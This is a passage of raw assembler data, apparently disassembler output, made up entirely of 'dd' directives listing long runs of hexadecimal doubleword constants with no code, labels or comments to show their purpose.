		dd 28A62BD0h, 140B14B2h, 40BB8A65h, 78AF7F51h, 0C50FF14Ah
		dd 8A5BC551h, 7E9731F7h, 98AAB8AEh, 0AC029CA8h,	0B5F94CFCh
		dd 45E53BF2h, 40E555E5h, 44D528D5h, 0E6035D50h,	915554D0h
		dd 7BAA1CAh, 0AA5D83EBh, 551AAABFh, 631F5427h, 460BF20Dh
		dd 4DF530F8h, 513AA36Ah, 67ABB7Dh, 40739DD6h, 9C6076E5h
		dd 45BEA9BFh, 0B56AD72Bh, 0B4DBDA71h, 0B5F3B5B3h, 0DA15DAF9h
		dd 69DFDAF5h, 62776BB7h, 33A51DF6h, 0C55EF683h,	0AF5FD14Ch
		dd 5315CC7h, 0FD62C533h, 0F501BD1Ah, 734D414Ch,	6B0CCB0Ch
		dd 13F83EB0h, 0C631286Ah, 6B31B318h, 18571B16h,	8C9B8CABh
		dd 93328D5Bh, 631D34C1h, 0AC1400BAh, 0FB9DCD8Eh, 0C07EBF41h
		dd 0B366EE6Ah, 7A059CD5h, 6ADE6655h, 803E6DDEh,	7329D5D5h
		dd 7815B98Bh, 0B3F4B124h, 6F5CB20Ch, 67196D19h,	2D925AB1h
		dd 0E5BD63B7h, 3CB7ACB4h, 3F7FB0C0h, 0CB26CF66h, 0A047CB69h
		dd 52ADFD05h, 0D69181D0h, 0A82E6B38h, 0A375A540h, 93EB61F5h
		dd 0CFAC67D6h, 9FAC5B5Bh, 7EB4BF5Ah, 3713ED63h,	0B8C6EE22h
		dd 0C7C6E39Bh, 71CCE3A9h, 0E2B2E353h, 0E24AE20Ah, 8BADC456h
		dd 35B714DBh, 9DB8F1EEh, 0BDC74F71h, 0DC4AF710h, 0C71F71BBh
		dd 14FDC5B5h, 0AD10BF7h, 0E8F60CEAh, 84795F4Bh,	8C7C847Ch
		dd 17563C7Ch, 66EAAC7Ah, 0B600EFC9h, 0CA57CB16h, 0C5EFC8D7h
		dd 0F2AFEA0Eh, 40C7E4E7h, 35670845h, 4CC5348Ah,	4D8A9DC5h
		dd 0B7A03F8Ah, 0A87C575Eh, 0F41CC368h, 81A0E60Bh, 78CA61CAh
		dd 53D63E65h, 54C39417h, 0AA855463h, 0D463D4EBh, 0AC5AD593h
		dd 0DB3153FEh, 639755CCh, 0FA84F46Fh, 0E6867535h, 1AA7CD39h
		dd 5B3A7693h, 0BF6937F9h, 0EDA4FED4h, 0EB1A7BA3h, 0FF7537E0h
		dd 2BD68DD2h, 0EF533F5h, 91D04EFDh, 0C9CFB14Fh,	0CB98605h
		dd 1A761A8Fh, 339C343Eh, 58ED1AE4h, 1E321FE3h, 9AB508C3h
		dd 660EC36Eh, 8B7CDA2Dh, 0C29373E9h, 0A087326Ch, 0ECB41F45h
		dd 0B16B3CB4h, 4FAD8B58h, 0B58CFF59h, 41760346h, 59CF5AAFh
		dd 89CEB47Fh, 8A5B8FCBh, 718FFFD5h, 1DFF549Dh, 324B5BD0h
		dd 0F2A1F288h, 0EC58F291h, 0BBE4AA02h, 0E22B37E5h, 93B1AB14h
		dd 0DB758C19h, 951FE52Ch, 0AAF5AAB1h, 0EAB55467h, 0D805EA63h
		dd 8CD7EE1Bh, 0E755FED4h, 0E9671946h, 0F53BFAEDh, 0DFD68177h
		dd 0FF447FA7h, 0CED3EC17h, 0D25113E8h, 5007868Dh, 0B2833FD2h
		dd 6134321Ch, 0B0D57575h, 0E7923B1Ch, 1CB57F8Ch, 0C96DBCB7h
		dd 0CB5916B3h, 16B0BBADh, 5472D097h, 0AF4E8190h, 3F253F92h
		dd 0DE45FF23h, 6E2A9729h, 98A6DC51h, 3EFB58Eh, 0E915178Ah
		dd 7CE52CCAh, 6AE572E5h, 77D61565h, 2BF72A8Fh, 0EABEC75Fh
		dd 5526F28Ah, 0AC41EAB1h
		dd 35519FB8h, 0CE06DEA9h, 0A57F6087h, 17AB2757h, 0F56397A9h
		dd 75FA92F1h, 8BEA27F5h, 0F7353BEAh, 3CD7EE6Ah,	734A79A4h
		dd 0E69DF35Ch, 561066AAh, 53B5934Eh, 0AB9A72B1h, 0D69ED32Dh
		dd 0B0AAE8E6h, 4EA3FA46h, 2DE857AAh, 0B047EF68h, 0FEABFE9Eh
		dd 0BD5FD81Fh, 9F63706Fh, 49F198FBh, 0FE319E3h,	324EEDD8h
		dd 7D9E6217h, 0E831FCDBh, 0ABE64FF4h, 96E1E368h, 2C5B9651h
		dd 8B2A2D13h, 558292C9h, 0D89617F6h, 25B8E4B8h,	3B71E571h
		dd 7DC5F6E2h, 0F639F718h, 0CC31D008h, 0F2A5ED04h, 0E55BF2D1h
		dd 30FBE4BBh, 6D2A24E3h, 3CCA39CAh, 69CA43E5h, 305BB118h
		dd 0FFABCF26h, 0F35179A4h, 0E3145601h, 77B433B4h, 0D4EE3463h
		dd 587B4DFEh, 0D4CBA61Bh, 0FB7CA055h, 6D75A775h, 0C58C4F58h
		dd 4A0375DAh, 43BE85F8h, 60C1BD7Fh, 5586258h, 0D0DC7DEAh
		dd 1C6FE866h, 48C34C6Bh, 0D47C60DCh, 81F8D478h,	318C3B1h
		dd 74DB33AAh, 9FE0C627h, 0B731C74Ch, 0B7C5412Ah, 9F379F9Ah
		dd 0C7BE0D40h, 4B16F55Ah, 0B2CAA5BEh, 0CB7BF2D5h, 0AC11CB01h
		dd 0BF40DF4Eh, 0F6D58FBCh, 2DEF9637h, 58FA5B3Fh, 5837AC23h
		dd 0C49EC66Fh, 0CD6A9D62h, 0CD63E6B4h, 3D75977Ah, 0D6FDDCC6h
		dd 7F73D147h, 640E92B1h, 0CD90494Ch, 7EBAC5AEh,	0D637729Bh
		dd 73CA2DF5h, 4DB574CAh, 5CEA59Dh, 0E7542F9Eh, 1AB10BABh
		dd 0B03B532Ch, 0D6CB3AB2h, 82D59716h, 0A7731426h, 0F98A935Ch
		dd 0AA9B5E32h, 417369B5h, 0DBB4AA83h, 8BDD82B0h, 0FD41E855h
		dd 0EC29FD51h, 510C4268h, 21D8D386h, 0CD439885h, 0DE56DDE1h
		dd 79927372h, 0F99C762Eh, 506295E8h, 41560715h,	6CDF16B4h
		dd 6E5A82DEh, 3BAACC3h,	798F6674h, 0A834F9AFh, 0D9F459CCh
		dd 0F379F339h, 7365F305h, 84B05987h, 0E12D4258h, 0B0662916h
		dd 0B8B44B28h, 79809F66h, 63D16D57h, 496F1FAFh,	6C5AA4B2h
		dd 0FDEC2C96h, 0A2165AE6h, 0C52D0A9Dh, 38B3296h, 6835B4BBh
		dd 0AD4B1AB3h, 0B65B365h, 659B6EDAh, 0DF8F65B7h, 8D6A5F3Ah
		dd 63F1AEF4h, 72AC13ADh, 0B7AADAABh, 0D6F1AD9Ah, 35AA6B24h
		dd 66B36ADDh, 0C5CD7681h, 5ADF262Ah, 66599188h,	0AD8E8075h
		dd 6B5956B1h, 5738B5ACh, 0C56D6338h, 518DC05Eh,	950ADE7Ah
		dd 968B78BCh, 0E55240CEh, 2CE29C36h, 0C7621794h, 59D18953h
		dd 0DF22DF2Bh, 0DF21DF26h, 9F956F23h, 0E7E5BB95h, 20BEB7B0h
		dd 0BBDD8CBFh, 845108A0h, 4F98D42Ah, 0E6AB3092h, 10B65F62h
		dd 0C50ECA73h, 4ECDEC3Eh, 5692E61h, 12BDA28Dh, 0A341F36Eh
		dd 0CA85CA6Ch, 0FA256562h, 707A336Fh, 0F62F72ABh, 0FED9FBCCh
		dd 41BABF6Ch, 8CDD547Dh, 0EB0B4EF5h, 0F3580BB5h, 46115808h
		dd 2C4F35B1h, 9A4918D6h, 9B5D982Dh, 2D35A735h, 59CD569Ah
		dd 45AEA34Dh, 2B2D1E77h, 0D1CA6B45h, 72D63682h,	0B9906AD4h
		dd 0FB61B264h, 0D6B16714h, 0ACB8A0BAh, 0AACCAB50h, 9B8BA085h
		dd 0C06F2AB1h, 7556758Ch, 0F9C5254Eh, 49D5988h,	0B9C3297Ch
		dd 237576C3h, 0DF0E7EBEh, 0D8C8D28Dh, 6B0CAAEAh, 0DD9AED9Ah
		dd 0CD29E2F8h, 641DEC05h, 63A4FFD8h, 0E604AF3Eh, 9CE606ECh
		dd 43A23EC2h, 0D58BA21Bh, 0BA5975C9h, 0B5D518B9h, 3718BDBAh
		dd 868586B9h, 0E6194342h, 5B9C2AE5h, 336C316Dh,	31EC30ECh
		dd 183433ECh, 98CD0D1Ah, 0DFB05AC3h, 1BCE1B71h,	63041B2Eh
		dd 24D431A8h, 64994535h, 4CAC58A6h, 5378A6F5h, 7386C9AAh
		dd 0BD9885AAh, 0D8954CCBh, 0C282D60Fh, 0C0ED336Eh, 533EC509h
		dd 0AB11A983h, 0D0C053F3h, 0AB1B9356h, 126CBD7h, 96052A98h
		dd 72A180CAh, 6F1CDEB3h, 0CCDB354Eh, 42D2C0B9h,	0B0256860h
		dd 0B9D816B3h, 0C7B9980Dh, 60DCCFBCh, 82CEF46Eh, 65E6E06Eh
		dd 85A85EB4h, 459F6B4Bh, 660F517Bh, 2A170FA1h, 5587D1F2h
		dd 63D82D8Ah, 283451EFh, 15A7159Ah, 0B3C9E82Dh,	4DE8738Ah
		dd 1D31FA33h, 9CAB993Dh, 57CCDE8Bh, 0CB47A216h,	8F710E94h
		dd 0A79527Dh, 0CA2D50A7h, 0E556CA33h, 0AA95551Ah, 0DAAB5546h
		dd 5683DAA6h, 60B5566Fh, 2D413095h, 8CDCD8C7h, 353EC175h
		dd 8C29F9F5h, 0A3180BD2h, 0F448EA1Dh, 6CAC04F5h, 73FAD1E3h
		dd 0C4ADAAB1h, 66BB67DEh, 0A0E07A07h, 7EBD11A6h, 0C9C6E356h
		dd 54368846h, 3E138E1Bh, 0D5AD56B9h, 69672463h,	6B23D10Bh
		dd 8EDE68D8h, 0ED7EE97Dh, 0F6B36D51h, 0D6ACF6A4h, 15A73DADh
		dd 1CA95DC4h, 5D2CD2ABh, 0A1C97A2Eh, 74EAC4ABh,	8EB8CE3Bh
		dd 1A7A3D62h, 8C59C773h, 6EA00BFCh, 3B5A0621h, 486BB0CBh
		dd 0F45CC32h, 63B61956h, 0BD1FB7D7h, 6B3862D6h,	555AC0E8h
		dd 0B927B38Ah, 0AA9D8F51h, 56E13303h, 0BDD076E3h, 0E359E316h
		dd 0FA246339h, 9B326D4Fh, 3567D1F2h, 0BDD8CDA6h, 0C5ED36EFh
		dd 0E9A0E44Ah, 0BFCBFA28h, 0DBB1A2AFh, 0E897A330h, 0B406AAE4h
		dd 97EB1B63h, 0E833E6A3h, 22140111h, 0CA9CB806h, 9181D970h
		dd 0BF51835Fh, 0FB03B2D5h, 0F396B392h, 0ED18CB96h, 24F08C32h
		dd 8C5CEA8Ch, 0E48C32E6h, 0ED2F9C1Ah, 4F5A36B1h, 0B79F1462h
		dd 0C645C686h, 0C7D3884Dh, 0E2CAE2D9h, 0C4B6E26Ah, 13DB8B6Dh
		dd 943B1FB7h, 55EC7173h, 8E6B609h, 9CE24797h, 9E318E56h
		dd 25469585h, 0CC76F646h, 9230E782h, 0EC321523h, 0A338F5FDh
		dd 21452CAh, 358A1C03h,	66C51A8Ah, 0E68C36C5h, 0CF0EAC06h
		dd 0CA093460h, 72A46550h, 2C0D5282h, 0EFEF45C8h, 466DF8C6h
		dd 0E795BB6Fh, 0AE146671h, 504D518Ah, 15AC63A5h, 0A3588563h
		dd 0DF9E82DAh, 0AA3FBE87h, 0A0BAA33Ah, 634550EAh, 5A0F1C1Fh
		dd 0AEA310BDh, 0DA40FB12h, 0B8C3EEEFh, 202C033Bh, 4A021D3Ah
		dd 865E634Dh, 2E072F11h, 32166964h, 0D9AAD83Ch,	3587D9A3h
		dd 81300340h, 8C19E3C6h, 851B4148h, 2C208F3h, 8D8936B3h
		dd 0EAA0B9CCh, 0ED5ADA65h, 0FDCE8C56h, 51FE7D8h, 0CF68B41Eh
		dd 44278CE3h, 6BA1C827h, 0AFE7425Eh, 290168A1h,	1E4A20DAh
		dd 25A1972Dh, 5795B026h, 6D234E3Ch, 77A0B9F2h, 0D056F90Eh
		dd 76A0EDBAh, 0F6EF41BBh, 0F7C9F7CAh, 47E51BCBh, 0E41746D1h
		dd 3C4EB432h, 0C0D74A3h, 892B4FD7h, 7F63448Ah, 558EA31Fh
		dd 0B1AB6E13h, 8EA33022h, 0F1795849h, 0A711A979h, 8E66548Eh
		dd 1886D15Fh, 0E1AC04C3h, 74B2C0CDh, 2D301643h,	778AB1Fh
		dd 8635B856h, 86AD86CDh, 581DC6EDh, 0EE31EFBFh,	3F758EC5h
		dd 620E86CEh, 2714744Fh, 0A78D2744h, 6D81A78Ch,	3D8BB067h
		dd 0E703746Bh, 182F1BCEh, 15D6632Fh, 50A6214Ch,	48E83853h
		dd 34492824h, 0B00C4968h, 89E80271h, 0CC5141Ah,	0AA04929Ah
		dd 25341732h, 18A5541Fh, 2C01C574h, 0B2DA035Dh,	360724D9h
		dd 0E835051Eh, 6634730h, 5BE07CAh, 14FC2ECEh, 0EFF024E9h
		dd 0D2C5A5B4h, 0D7AC116Ah, 0FDAE3B2Eh, 3 dup(0FDAEFDAEh)
		dd 0FFF7E8h, 800016A6h,	746D3AEDh, 2395D713h, 0CFE5964Bh
		dd 80764111h, 9304C138h, 6B25F090h, 63207F2Ch, 916480D9h
		dd 961060DAh, 0D76D431h, 30718C18h, 347C3335h, 163250FEh
		dd 4D28BC30h, 736DDB76h, 2E2126DAh, 0B367BB69h,	47C9CAFDh
		dd 11615093h, 42C92103h, 93838268h, 8E9A10C6h, 0E29C103Ah
		dd 661C1962h, 3237DEFh,	0BBBA7A69h, 9ECF763Fh, 0DE73AB3Dh
		dd 0BDEEF7BCh, 0EEFBBDEFh, 0FBDEEFBDh, 0FAB15466h, 30CF4671h
		dd 0AA8A018Ch, 8CCBCC32h, 0FE612BF6h, 943F5FE3h, 49BFA9B4h
		dd 7C485E63h, 0BACBDA7Bh, 0ADA7B7F2h, 2DB4DA6Ch, 0EB5B6B6Bh
		dd 786B6C6h, 6C35D6B3h,	67CAD2D9h
		dd 6ACC6DADh, 6D64B613h, 78B592DAh, 0C1EB3799h,	738DF5D6h
		dd 0B2935353h, 0F82C7363h, 0BB2BE6EEh, 8C0FE386h, 55B1E697h
		dd 0FA821E07h, 14EDD42Ah, 0CD03866h, 45C278B5h,	0DD1EDFBh
		dd 5D683A07h, 0AD276073h, 62BD69EBh, 1C26BAD3h,	0A55BCE3Fh
		dd 75CA618Bh, 67CA6606h, 195B1BA1h, 25A6D264h, 989212EBh
		dd 6931D029h, 0C2F793B0h, 4AC50CC3h, 8EDA66BBh,	30C1E4D3h
		dd 1BE66B37h, 31713B37h, 0A37B4A52h, 6DC7AAD6h,	0D40CF30Ch
		dd 2AF981DFh, 0F09EFFh,	0E63A2FF9h, 7983FEBFh, 0F41DFD57h
		dd 2771BE5Ch, 9347F50Fh, 0B94D0C63h, 2FDA1375h,	0B733760Bh
		dd 0DF037D6Dh, 63E9D300h, 0BB9A477Bh, 82074CBEh, 91AB992Bh
		dd 0C77F0531h, 9A1C0028h, 0D2D8D6DBh, 64618EBAh, 2A37B69Dh
		dd 42BFBBA4h, 0FFF990B7h, 1FAAFFDFh, 0EA6D9C59h, 0CC612DC9h
		dd 58F730D0h, 833721A1h, 82420429h, 0AA4952BEh,	0D3512E6Ch
		dd 95CC3CC1h, 0AD0043F2h, 0B915709h, 0DA295C4h,	0D57C5970h
		dd 0CAA70474h, 64ED4107h, 6F857028h, 0F3CF17F0h, 6E83130Ah
		dd 1B010C1Dh, 795121A8h, 12550C32h, 0DA66F27Ch,	711397EFh
		dd 0A5725501h, 6A958908h, 27A601BAh, 7080C0D1h,	6AF8F55Bh
		dd 272BDFA4h, 22A47AE3h, 0C88E4BC5h, 53EDB0F3h,	5B804DD3h
		dd 1B575F53h, 0BF5C1BFEh, 0A95C8600h, 29345091h, 0A57B36CFh
		dd 0B361C454h, 0F7E9982Ah, 0EA5221D1h, 0FA1E786Ch, 44E4E24h
		dd 0C05FDA6h, 0A4838399h, 3216D9C5h, 13FF76C4h,	3D9AA508h
		dd 0D18B7468h, 0E8DBF616h, 96ED90Eh, 0CE5CA29Eh, 0C369FB76h
		dd 3C7857C0h, 0D423D5BCh, 6E191707h, 32A48888h,	0D089BB38h
		dd 23B07BF9h, 24950C86h, 0D6056F2Ch, 0DF9B146Ah, 2C1EC498h
		dd 0E5592F16h, 548CF1C7h, 0FD6133CBh, 9D251A9Ah, 6CA28C22h
		dd 8D473F95h, 11E7E544h, 0F6E7BEAFh, 606C3317h,	0B0AAAAABh
		dd 0F549A1h, 135DABA9h,	6A700B26h, 4AB8ED5h, 7E601997h
		dd 9C4FCE33h, 0DE229DAAh, 0D2812893h, 0F95BCA2Bh, 0FBA3009Fh
		dd 0A602B22h, 1F9B8ED5h, 0F2AC3667h, 65906D9h, 52CC830h
		dd 5251FB01h, 9F8F9081h, 0C7A0AC47h, 37E5AAFBh,	0D068E171h
		dd 0D6ACA86Dh, 50918868h, 9D24FA79h, 0A4726826h, 85CC2EBEh
		dd 2E2C2EAh, 0CE7C3384h, 27C45C7Eh, 0C4374C86h,	864BADA2h
		dd 352271AAh, 0BA200CDDh, 69493114h, 1C8EB592h,	0ED420709h
		dd 72746299h, 1524EDC7h, 1F9FD949h, 2E1153D5h, 8381AB97h
		dd 14A4709Ah, 0B13C302Ah, 67E18523h, 0A6261D88h, 273C2A7Dh
		dd 0AFDE4C77h, 0AA4CBBD1h, 0C78FA290h, 80DDB131h, 0BD86D68Dh
		dd 67C23E55h, 0EE01B99Bh, 90B2E3A2h, 77B885C8h,	7C882C23h
		dd 0AAFF865Fh, 0F40D9AB5h, 4EC19480h, 0A3FC99F7h, 0FF78F93Bh
		dd 4BC12AE8h, 22A8DC86h, 249EDAD5h, 0F15D85AAh,	5B252CA0h
		dd 0BBB01B54h, 4AD5BB01h, 0B296A8BAh, 0D12FE8Fh, 0DFB37541h
		dd 2E3629FEh, 0CD3337E5h, 7C956F66h, 77F41D30h,	47219C94h
		dd 9D1FD49Eh, 94448678h, 0F347FB9Fh, 0A3FC8ABBh, 327CF6D6h
		dd 4627DCA4h, 8A76BBF3h, 0CCCD13A1h, 1226CD93h,	2ADE92F5h
		dd 396CBC30h, 51F50300h, 6265B350h, 0FA44B92Fh,	511068DDh
		dd 29BFC76Bh, 0CEAFF80Fh, 6D9EBE91h, 8E9211h, 92ABBD16h
		dd 53B954B5h, 0A6BB1354h, 0B049AAC1h, 57AFE7AAh, 0B6766B75h
		dd 9ED88CEBh, 84F8616Dh, 53C48F91h, 0BF80C8CCh,	485EBDB8h
		dd 73E4FB71h, 593555D7h, 433E49AEh, 0D0A720DEh,	0FBA40A6h
		dd 26E3405Fh, 355F2615h, 2FC8289h, 0EFE0A0A1h, 86ED09Ah
		dd 0DC96DB1Ch, 6CA73097h, 4F103E4h, 4E4FD233h, 8C109F26h
		dd 32D6097Dh, 0AE680165h, 0B6080BB0h, 0A5645E73h, 0D1FCB972h
		dd 87523844h, 80D37BACh, 20775E9Fh, 74A6D524h, 7639C79Dh
		dd 628D7EFCh, 0B8CFBA5Ch, 0E82CA137h, 76863BF2h, 604BEE5Ch
		dd 858EEBEAh, 5F23F27Dh, 0EF819D80h, 0A3C5E210h, 0DAB85D6Ah
		dd 0FE042F27h, 7A247C6Ah, 0E51958Bh, 0AB554831h, 60182982h
		dd 69B554C6h, 7C2A9595h, 0E1E25431h, 8EBE094h, 0B309BF94h
		dd 70B1FD5h, 10C8F98Eh,	427E01FAh, 6A7C420h, 0EE2674AEh
		dd 5CD7B09Bh, 1854BA52h, 0D85D7041h, 14C04707h,	0BE433F73h
		dd 3CB8A71Bh, 0FA4954DBh, 0F4D0D7E4h, 0F0F91980h, 0E2029E18h
		dd 4C4B8036h, 2481E26Bh, 7B941A76h, 242AA8C4h, 5B60B534h
		dd 213AA311h, 0FBF17D5Dh, 0FA698616h, 0E3144686h, 1BFFD80Bh
		dd 291A0AFEh, 66D13EE0h, 747AE3E5h, 9B76579Eh, 0F0312721h
		dd 0C5993E99h, 3D3F65C5h, 6333F27Fh, 24A290F4h,	69D8AB14h
		dd 72E9F860h, 200A86A3h, 544C0B6Fh, 0F1B5A70Ch,	4F8A4271h
		dd 0F6DE8D3Dh, 26A2144Dh, 0D642F139h, 5B5B5E2Dh, 0C6F665DFh
		dd 0E5C72F96h, 0C87C5FBh, 5C813E3Ah, 32240F93h,	38FE578Ch
		dd 0D7CA7D11h, 0AA8E20Ch, 0CA2F411Eh, 0C3C53F0Ch, 0B27C3D1Bh
		dd 95EA9847h, 43B014E5h, 86CF500Bh, 1349431Ch, 0A2427547h
		dd 0A965AE57h, 0D222BF83h, 0BBF8F89Dh, 326572BCh, 0BFCB2E82h
		dd 3E394EBEh, 66E6ED75h, 0C324B05Ch, 6A9B3417h,	49EBF82h
		dd 831D8203h, 0E9000F97h, 0BE0D205Eh, 24AF108Ah, 24754166h
		dd 39149301h, 6A42A71Eh, 494E801h, 49C3CAFh, 8EBBE400h
		dd 0F2E39077h, 2DABA1CFh, 8867C25Dh, 81309D0Eh,	0C6132688h
		dd 0D6013E32h, 1A9AC0B4h, 514F8B3Ah, 0EB7093EDh, 0D4B181CFh
		dd 2138C068h, 5631ABC1h, 6698E6BFh, 81E28F6Eh, 7D78A570h
		dd 0AEE392E3h, 124F0168h, 0AEB7E4C6h, 86C210AAh, 0AB50C3E5h
		dd 0B2E4B0C2h, 73604C8h, 0A242CB21h, 9D4574FBh,	5D9F0CE4h
		dd 92CF8D34h, 4A8A059Fh, 66F27688h, 22AB83C4h, 58D55243h
		dd 2C2BB6CCh, 5D7B74FBh, 24307B2Ch, 0DFB1E746h,	0F24B0FDEh
		dd 1A7945DBh, 4CE316BFh, 0C5CF878Bh, 0BF87AA7Ah, 361E3CDh
		dd 0CFFCE113h, 0ED477EBAh, 97630458h, 6844FAFEh, 0BB998A9h
		dd 0B56F3E63h, 30C09CECh, 0FEFA0511h, 847BBA5Dh, 6C6BE48Ch
		dd 25E819F7h, 0F76C630Bh, 7E446849h, 0D7E98F06h, 63A8C3A7h
		dd 4042E2D0h, 220DF811h, 0DAB701FEh, 131AEC97h,	9527E88Ch
		dd 0A98CD8D4h, 0EA325EA0h, 0B1E760EFh, 791348DDh, 22C04682h
		dd 0F787A37Eh, 944E7879h, 457BF8B3h, 0C93E2EF9h, 8E7611E3h
		dd 0A5391E9Ch, 0EDE2C1B4h, 35F27242h, 161618A1h, 0C9D5950Ah
		dd 0C76B93D7h, 75DCD594h, 0A02F2A0Eh, 7254858Bh, 0EF229C84h
		dd 7CD117C8h, 63B51C8Ah, 0AC5DB9EDh, 0B9F6FAE3h, 0BAE3A24Ah
		dd 0C2001330h, 0A2542E74h, 0D1750164h, 0A9A7EA0Dh, 0CBB201B1h
		dd 71D67ED8h, 2E23EDBDh, 0CD9C24F4h, 60EADE33h,	0C8350780h
		dd 9AE128B9h, 0B3B4EBE0h, 866A9471h, 0EAD051D8h, 5160AAFBh
		dd 1BAFAFDFh, 3B7A2E57h, 1F662195h, 497DB9B8h, 7686D1FEh
		dd 3A1B0108h, 4B47FA67h, 0BCEEE5B1h, 0B4369D0Bh, 102D3B0Ah
		dd 3FD6781Bh, 8A4F873Ah, 0C1768A85h, 0BDCD37B4h, 872B3250h
		dd 0B3F81355h, 23233ECAh, 2E8A3A3Fh, 0E07698E3h, 1B97B66h
		dd 7B54B55Fh, 941DAA5Eh, 0DAA5876Ah, 0BC8AEE31h, 73368A33h
		dd 0F2C97241h, 0A1F9B483h, 0EFF5A01Ch, 0DCF81724h, 0BA23A4F3h
		dd 0D5C976EFh, 25EC1ECFh, 0E71D6747h, 3A6462BDh, 0F12316EFh
		dd 0FC25ACFCh, 0C1923164h, 0EF41F206h, 0F1E75C47h, 8D711C40h
		dd 39070D1h, 61B6CC7Dh,	4876A90Dh, 890B9BB9h, 7A831Dh
		dd 4EFD9622h, 54CC04A8h, 0A2B1A739h, 0F38AC418h, 0CFF5712Ah
		dd 60E9F30Ah, 89A86750h
		dd 2DBB4B0Fh, 6F220470h, 9971CF41h, 863EE4B8h, 0FA68EE11h
		dd 1BB33831h, 7A48717Eh, 0F4898F0Ah, 8A925214h,	14DBA0C1h
		dd 8702683Ch, 3ACDA52Ch, 0CEE0F40Eh, 944CA7A5h,	759F0522h
		dd 784BB560h, 753E12E3h, 1543B089h, 66458C3Eh, 0EE30B855h
		dd 0EB881B3Fh, 0E64BA142h, 0AA9C7C6Bh, 0CA40069Dh, 34628EEh
		dd 0BE1AE5C7h, 67EEC94h, 79847038h, 208EB913h, 35C733E1h
		dd 8D3D28DEh, 0DDBD4250h, 6DFC4D4Fh, 1576D93Eh,	21CF8887h
		dd 4A352FE4h, 4E3478A2h, 405868A2h, 0DC414575h,	9DB62D11h
		dd 0ED9C759Fh, 6AC80BFEh, 977DDB09h, 5A16568Eh,	0D1E99605h
		dd 4BF1A7ACh, 0EF217944h, 9A69A484h, 93F22728h,	1EB1ECF0h
		dd 6DC604DEh, 0D2512E6Bh, 524ACD9Ah, 363141B3h,	0E6B8949Bh
		dd 0B1DC55ACh, 318AC2D2h, 985BF036h, 18AE913Dh,	0AB9E8D79h
		dd 48FCE512h, 0F2C18EDh, 0B9E5851Ah, 23A93281h,	579C762Ah
		dd 75FA40D9h, 69DFCAB4h, 0D3D5B6Eh, 87C7C65Bh, 2A42E9EAh
		dd 82D03637h, 61E8D8EEh, 46053FBBh, 0AB443AA1h,	83801540h
		dd 3CAF2675h, 693D0463h, 0E91AD40h, 0EED9B8A2h,	0B9FDE47Ch
		dd 7AD0BC4Ah, 0AA2BECE5h, 84573E2Ah, 0B977691Dh, 0ED233289h
		dd 7646A0F6h, 0DD93A017h, 94AB3A8Dh, 2782BE3Fh,	0F0C4B085h
		dd 15804470h, 0A34C4E46h, 0C62A901Bh, 43818B22h, 0F43159B0h
		dd 8C406E7Bh, 407BB156h, 0A2FB2A3Fh, 702A71BFh,	84481D9Ch
		dd 7183508Ah, 0F53B86B8h, 0E3625D60h, 0E362318h, 20249131h
		dd 0AEA8EF1Ch, 0D855C8E1h, 234CCC6Ch, 0AC5B419Fh, 7F235318h
		dd 22170680h, 0CE87C315h, 631D8BC6h, 4728B06Ah,	9EEE83DAh
		dd 0C086264Fh, 0A1A62B4Eh, 1BE07A5Dh, 0CF693A90h, 2908C04Ch
		dd 5E545741h, 8C0EE10Ch, 263AE419h, 0FAA4C9EDh,	4A7A0E1Dh
		dd 242E1A61h, 0D9926019h, 563D81B8h, 6C03F9F4h,	0D82E0777h
		dd 7708C431h, 0C1A1DD03h, 566BE0F8h, 10092024h,	21E33BB7h
		dd 884CECE3h, 0F2092285h, 0B81D21C9h, 0FD274A19h, 0A8538AD0h
		dd 7CC8A1AEh, 64496ACAh, 39ABEC19h, 7AFF40Eh, 0FE83C7FDh
		dd 0E37FA00Dh, 0C03E48AAh, 67FB391h, 17FA43BFh,	3B92D789h
		dd 49386202h, 0BBF023F1h, 982301Ah, 6C1F23Ch, 6A370814h
		dd 3ADE5445h, 0F9A4188Ch, 0C0ACD026h, 0A8B7C23Bh, 35E8A83Eh
		dd 0C7DB29B3h, 0AC137FCEh, 0A82F8846h, 0EEE609D6h, 0FCCA7C63h
		dd 801D0537h, 944A9AF7h, 703760B3h, 30FB64E8h, 48FE9C86h
		dd 5C71AE0Ah, 3A7375A5h, 8C019A30h, 4E8C0EDEh, 0AF274602h
		dd 46C30C89h, 0E7EF57FCh, 49B20EBh, 0BE75762Fh,	9680DF0h
		dd 3A658213h, 90B1417Fh, 8835C478h, 50B1452Eh, 21617CC0h
		dd 28002DD2h, 273A8EAAh, 0B0BAE1D9h, 8B2DA2DDh,	70CF4AF6h
		dd 6EE63264h, 16010FAEh, 7502FB49h, 289E883Dh, 0B2C14712h
		dd 9AF792EAh, 34740C23h, 16CB83B3h, 0B5518DDBh,	0C647AE52h
		dd 0F268DDA5h, 0D3B0474Ah, 0C03277E4h, 1738CC4Dh, 5611D222h
		dd 98AB8156h, 0C238CB04h, 75B46ED2h, 32000261h,	0C5F0016Fh
		dd 0F4164164h, 40E14F83h, 222FAAFh, 7790D3D5h, 0E98599D2h
		dd 2C075F4Dh, 5A6CF5C4h, 20DA35FDh, 0F5A8352Eh,	0C2830FA4h
		dd 98C9DE3Fh, 0E63266D7h, 4056502Dh, 29FD08D9h,	72813E50h
		dd 2869CA0Ah, 41B1431Fh, 7CCA1BB9h, 1943F728h, 0CA10B280h
		dd 0A1732871h, 79B180ECh, 5D43E750h, 0EFD7F50Dh, 46518B80h
		dd 1E0E8646h, 437A1971h, 0C6E1867Ch, 19FB432Fh,	894C1233h
		dd 0C9194919h, 19A92919h, 19196919h, 0C64279ACh, 5863136Dh
		dd 7C15F30Bh, 8443C53Ah, 8F1A7C29h, 0BE73B61h, 928984BEh
		dd 5308CC58h, 831CEC4h,	68FC0475h, 0E34C3D2Eh, 2E325C1Eh
		dd 1CB2FB12h, 7BE74474h, 0CBC26B75h, 42E5D731h,	0C4230F85h
		dd 0AA1D3ECBh, 0F9058082h, 80A8E629h, 0E647849Ah, 4C1E1305h
		dd 1240B6E2h, 94F35F75h, 0FE21C71Ah, 0CAF69A6Eh, 0AAAE7D6Fh
		dd 0A840B4CAh, 524E1533h, 0DB23C997h, 0B3000CFFh, 24A2D4B4h
		dd 0F581AD37h, 0A28127E4h, 95561206h, 0C160A0C8h, 712AA640h
		dd 146263E4h, 4E426437h, 81BF76C6h, 0C75444A9h,	1B40BF76h
		dd 8FF76C71h, 76CF4368h, 0F5C8C6EFh, 37684FD8h,	317EF3BEh
		dd 4F03646Ah, 4D4AAF42h, 3FD4D9Fh, 0EC3ED8FBh, 8CFE93CAh
		dd 57243FF6h, 269983C4h, 8DE93B28h, 79BA1F50h, 48528F29h
